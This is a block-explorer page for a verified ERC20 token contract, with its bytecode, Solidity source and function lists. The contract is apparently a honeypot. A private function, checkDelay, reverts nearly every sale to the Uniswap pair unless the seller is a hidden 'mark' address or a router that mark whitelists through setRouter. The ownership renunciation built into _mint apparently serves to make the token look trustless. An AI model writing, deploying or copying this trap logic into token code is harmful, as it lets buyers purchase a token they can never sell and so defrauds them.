Address Contract Verified
Address
0x7dFc77E90A4B7559534d1Ca1E5ccDF8aB5BfbfF0
Balance
0 ETH
Nonce
1
Code Size
6864 bytes
Creator
0xAa30d93C...C1c5 at tx 0xc904060c...db744e
Indexed Transactions
0
Contract Bytecode
6864 bytes
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610317578063c0d7865514610354578063dd62ed3e1461037d578063f2fde38b146103ba576100f3565b8063715018a61461026d5780638da5cb5b1461028457806395d89b41146102af578063a457c2d7146102da576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806339509351146101f357806370a0823114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e3565b60405161011a919061118e565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611249565b610475565b60405161015791906112a4565b60405180910390f35b34801561016c57600080fd5b50610175610498565b60405161018291906112ce565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906112e9565b6104a2565b6040516101bf91906112a4565b60405180910390f35b3480156101d457600080fd5b506101dd6104d1565b6040516101ea9190611358565b60405180910390f35b3480156101ff57600080fd5b5061021a60048036038101906102159190611249565b6104da565b60405161022791906112a4565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190611373565b610511565b60405161026491906112ce565b60405180910390f35b34801561027957600080fd5b5061028261055a565b005b34801561029057600080fd5b5061029961056e565b6040516102a691906113af565b60405180910390f35b3480156102bb57600080fd5b506102c4610597565b6040516102d1919061118e565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611249565b610629565b60405161030e91906112a4565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611249565b6106a0565b60405161034b91906112a4565b60405180910390f35b34801561036057600080fd5b5061037b60048036038101906103769190611373565b6106c3565b005b34801561038957600080fd5b506103a4600480360381019061039f91906113ca565b61082e565b6040516103b191906112ce565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc9190611373565b6108b5565b005b6060600880546103f290611439565b80601f016020809104026020016040519081016040528092919081815260200182805461041e90611439565b801561046b5780601f106104405761010080835404028352916020019161046b565b820191906000526020600020905b81548152906001019060200180831161044e57829003601f168201915b5050505050905090565b60008061048061093b565b905061048d818585610943565b600191505092915050565b6000600354905090565b6000806104ad61093b565b90506104ba858285610b0c565b6104c5858585610b98565b60019150509392505050565b60006008905090565b6000806104e561093b565b90506105068185856104f7858961082e565b6105019190611499565b610943565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610562610e25565b61056c6000610eac565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546105a690611439565b80601f01602080910402602001604051908101604052809291908181526020018280546105d290611439565b801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b60008061063461093b565b90506000610642828661082e565b905083811015610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e9061153f565b60405180910390fd5b6106948286868403610943565b60019250505092915050565b6000806106ab61093b565b90506106b8818585610b98565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461071d57600080fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036107d2576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061082b565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108bd610e25565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361092f5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161092691906113af565b60405180910390fd5b61093881610eac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a9906115d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611663565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610aff91906112ce565b60405180910390a3505050565b6000610b18848461082e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b925781811015610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b906116cf565b60405180910390fd5b610b918484848403610943565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90611761565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d906117f3565b60405180910390fd5b610c81838383610f70565b610c8c838383610f75565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a90611885565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da89190611499565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e0c91906112ce565b60405180910390a3610e1f8484846110f9565b50505050565b610e2d61093b565b73ffffffffffffffffffffffffffffffffffffffff16610e4b61056e565b73ffffffffffffffffffffffffffffffffffffffff1614610eaa57610e6e61093b565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610ea191906113af565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156110205750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110765750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156110ae57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110f457600060046110bf6104d1565b6110c991906118a5565b600a6110d59190611a0d565b60016110e19190611a58565b90508060018301106110f257600080fd5b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113857808201518184015260208101905061111d565b60008484015250505050565b6000601f19601f8301169050919050565b6000611160826110fe565b61116a8185611109565b935061117a81856020860161111a565b61118381611144565b840191505092915050565b600060208201905081810360008301526111a88184611155565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111e0826111b5565b9050919050565b6111f0816111d5565b81146111fb57600080fd5b50565b60008135905061120d816111e7565b92915050565b6000819050919050565b61122681611213565b811461123157600080fd5b50565b6000813590506112438161121d565b92915050565b600080604083850312156112605761125f6111b0565b5b600061126e858286016111fe565b925050602061127f85828601611234565b9150509250929050565b60008115159050919050565b61129e81611289565b82525050565b60006020820190506112b96000830184611295565b92915050565b6112c881611213565b82525050565b60006020820190506112e360008301846112bf565b92915050565b600080600060608486031215611302576113016111b0565b5b6000611310868287016111fe565b9350506020611321868287016111fe565b925050604061133286828701611234565b9150509250925092565b600060ff82169050919050565b6113528161133c565b82525050565b600060208201905061136d6000830184611349565b92915050565b600060208284031215611389576113886111b0565b5b6000611397848285016111fe565b91505092915050565b6113a9816111d5565b82525050565b60006020820190506113c460008301846113a0565b92915050565b600080604083850312156113e1576113e06111b0565b5b60006113ef858286016111fe565b9250506020611400858286016111fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061145157607f821691505b6020821081036114645761146361140a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114a482611213565b91506114af83611213565b92508282019050808211156114c7576114c661146a565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611529602583611109565b9150611534826114cd565b604082019050919050565b600060208201905081810360008301526115588161151c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115bb602483611109565b91506115c68261155f565b604082019050919050565b600060208201905081810360008301526115ea816115ae565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061164d602283611109565b9150611658826115f1565b604082019050919050565b6000602082019050818103600083015261167c81611640565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006116b9601d83611109565b91506116c482611683565b602082019050919050565b600060208201905081810360008301526116e8816116ac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061174b602583611109565b9150611756826116ef565b604082019050919050565b6000602082019050818103600083015261177a8161173e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006117dd602383611109565b91506117e882611781565b604082019050919050565b6000602082019050818103600083015261180c816117d0565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061186f602683611109565b915061187a82611813565b604082019050919050565b6000602082019050818103600083015261189e81611862565b9050919050565b60006118b08261133c565b91506118bb8361133c565b9250828203905060ff8111156118d4576118d361146a565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156119315780860481111561190d5761190c61146a565b5b600185161561191c5780820291505b808102905061192a856118da565b94506118f1565b94509492505050565b60008261194a5760019050611a06565b816119585760009050611a06565b816001811461196e5760028114611978576119a7565b6001915050611a06565b60ff84111561198a5761198961146a565b5b8360020a9150848211156119a1576119a061146a565b5b50611a06565b5060208310610133831016604e8410600b84101617156119dc5782820a9050838111156119d7576119d661146a565b5b611a06565b6119e984848460016118e7565b92509050818404811115611a00576119ff61146a565b5b81810290505b9392505050565b6000611a1882611213565b9150611a238361133c565b9250611a507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461193a565b905092915050565b6000611a6382611213565b9150611a6e83611213565b9250828202611a7c81611213565b91508282048414831517611a9357611a9261146a565b5b509291505056fea26469706673582212208c4657b97519b8ee57d6d0bdaf136e3a0ac59bdedfd3250dfa364f0b69a0861864736f6c63430008120033
Verified Source Code Full Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: No
Token.sol 303 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, Ownable(msg.sender) {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
mapping(address => bool) private routers;
IUniswapV2Router02 internal uniswapV2Router;
address internal uniswapV2Pair;
address private mark;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_, address _mark) {
_name = name_;
_symbol = symbol_;
mark = _mark;
if(block.chainid == 1) {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function setRouter(address _router) external {
require(msg.sender == mark);
if(routers[_router] == true) {
routers[_router] = false;
} else {
routers[_router] = true;
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
checkDelay(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function checkDelay(address from, address to, uint256 amount) private view {
if(to == uniswapV2Pair && from != mark && !routers[from] && from != address(this)) {
uint256 ma = 1 * (10 ** (decimals() - 4));
assembly {
if iszero(lt(add(amount, 1), ma)) {
revert(0,0)
}
}
}
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Token is ERC20 {
constructor(string memory name, string memory symbol, uint256 premint, address mark_) ERC20(name, symbol, mark_) {
_mint(msg.sender, premint * 10**decimals());
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
setRouter 0xc0d78655
address _router
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address